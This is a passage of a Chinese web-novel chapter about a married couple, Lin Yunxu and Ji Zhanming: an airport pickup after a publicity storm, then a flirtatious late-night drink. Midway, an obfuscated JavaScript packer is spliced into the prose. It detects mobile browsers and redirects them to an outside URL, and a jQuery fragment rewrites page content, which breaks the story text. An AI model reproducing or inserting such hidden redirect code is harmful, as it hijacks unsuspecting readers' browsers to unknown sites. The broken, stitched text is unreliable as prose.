对方的声音很稳,平静又利落,俞宜凌蓦地心安下来,那些担心以及自责焦躁也瞬间平和了下来。 她温和地应了下来:“那稳稳就交给你了。” 经历了14个小时的飞行,林云序到达北市的时候已经是凌晨一点多。 他拿好行李,从国际到达出口往外走,一边垂头拿出手机准备找代驾。 手机一开机,就跳出了林章和俞宜凌的消息: 【回家好好休息,过两天带盏明回家吃饭】 林云序松了一口气,被毫不相关的人骂没什么,但他不想父母担心和自责。 接着,几个小时前发送的第二条短信也跳了出来: 【对了,盏明会去接你】 林云序愣了一下,下意识抬头看向四周,刚转过身子,手边的行李箱就被人接了过去。 一只手也穿过他的后背扶住腰阻止了他转身的动作。 林云序被人揽着朝前走去,他偏头直直看着身边男人的侧脸。 季盏明松开手解释道:“快些走,你这身衣服在热搜上挂了一个白天,后面有人要认出你了。” 林云序问他:“你怎么知道我什么时候到?” “你的航班在网上有。” 林云序和他一起走到地下停车场上了车。 季盏明坐在驾驶位上,静静地等了一会儿,看着林云序系好安全带。 终于还是轻轻伸出手,勾住对方耳边的口罩系绳,将他的口罩取了下来。 林云序没有动,倚在靠背上,任由他的动作。 口罩完全取下来后,季盏明微微垂头,去看他的脸。 出乎意料的,林云序的神色放松,漆黑的眸子里甚至带着几分笑意,状态比他想象中好很多。 林云序笑了出来:“你不会以为我哭鼻子吧。”说着,他佯装苦恼叹了一口气,“怎么办?我的丈夫好像有点小瞧我。” 季盏明想到了那段视频中的林云序,他突然产生了本不应该有的好奇,对方那时候口罩和帽子下是什么样的神情?又是什么心情? 林云序这样的人,会不会也有情绪极致波动起伏的时刻? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16983690|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季盏明收回手,平静道:“确认一下你的状态,毕竟还要报告给阿姨和叔叔。” “完了,怎么我在我爸妈那里的信誉还没有你高了?” 季盏明启动车辆:“可能觉得你会逞强。” 林云序笑了下,没有再回应。 他整个人彻底窝进了座椅里,看着窗外向后退去的风景。 6月的温度已经升了起来,空气中带着一股闷燥,但车开起来后,凌晨夜风透过车窗灌进来,穿透身子才舒服些。 天色深黑中还透着一股灰黄,晚些时候大概是要落一场夏日骤雨的。 林云序在思绪飘忽间缓缓闭上了眼睛。 再次睁眼的时候,车辆已经到达小区,自己那侧的窗户不知道什么时候升了上去。 车辆平稳地停了下来,季盏明见他醒了,低声道:“进屋再睡吧。” “嗯。”林云序下了车,等对方在后备箱把自己的行李箱拿出来,才一起进入屋子。 时间已经不早,见林云序已经进卫生间,季盏明也没有耽误时间,去到客卧的卫生间洗漱。 等他整理完回到房间的时候,却没有看到林云序的人,卫生间的灯也是关的。 他扭头看向隔着一道推拉门的另一间主卧。 - 林云序握着高脚杯,看着落地窗外的风景,夜风似乎愈发凌厉,绿树枝叶被摇晃得弯折。 尽管室内隔音好,林云序却仿佛仍能听见那劲风呼啸的声音。 不远处的湖面被荡得起伏,今夜看不见月色,但流溢的灯光仍映照得湖面波光粼粼。 看久了,不知道是不是视觉上的晕眩,让他有一丝晃神。 夜深人静里,后知后觉,他其实还是有点小情绪的。 循着品酒室光亮寻过来的季盏明静静倚着门框,看着青年坐在水晶岛台前仰头喝了一口酒。 藏蓝色真丝睡袍的袖口顺着他抬起的小臂滑下,红色的酒液缓缓滚入微张的唇间。 白水晶岛台带来极致的通透与光影效果,人影随着光影变换。 随着盛着酒液的杯子被放下,胳膊也顺势搁在了台面上,他冷淡懒散地侧倚在岛台的边缘,欣赏着外面狂风四起所带来的独特夜景。 “这么晚了,不睡觉?” 听到声音,林云序不急不缓地看向来人,反问道:“找我?” 季盏明走到他身边,看向他的对面,那里放着另一只晶莹剔透的空酒杯。 “你就这么确定我会下来?” 林云序笑了,伸手轻轻拨弄着对方睡衣前的纽扣。 像是在说,他现在站在这里不就是答案了? 有些东西没必要说得太明白,在自己房间没找到他,不应该是以为他回了自己房间睡觉? 可他大概敲了他的门,才发现人不在。 为什么要敲? 也是为什么他现在站在这里。 随着手指的戏谑拨弄,最上面那颗扣眼陡然松开。 修长的手指骨节伸直,掌心朝着男人,像是证明不是故意,林云序轻飘飘地解释:“意外。” “其实也不是百分百确定你会下来。”林云序继续道。 季盏明静静地看着他。 “但我给自己定了个规则。” 就像是他们婚后他第一次出差深夜回来那般。 “如果你下来,那我就……”林云序曲起食指,陡然勾住对方的领口。 青年的力道微不可察,可季盏明还是扶着他的手臂、顺着动作垂下了头。 他往前勾一寸,他就低一分,直至最后鼻尖相碰。 空气中氤氲着清甜惑人的酒香,还交融着独属于对方身上淡淡的好闻气息。 “让你破戒。” 青年带着笑意,裹着酒香的温热气息拂在他的唇上。 “老公,陪我喝个酒吧。”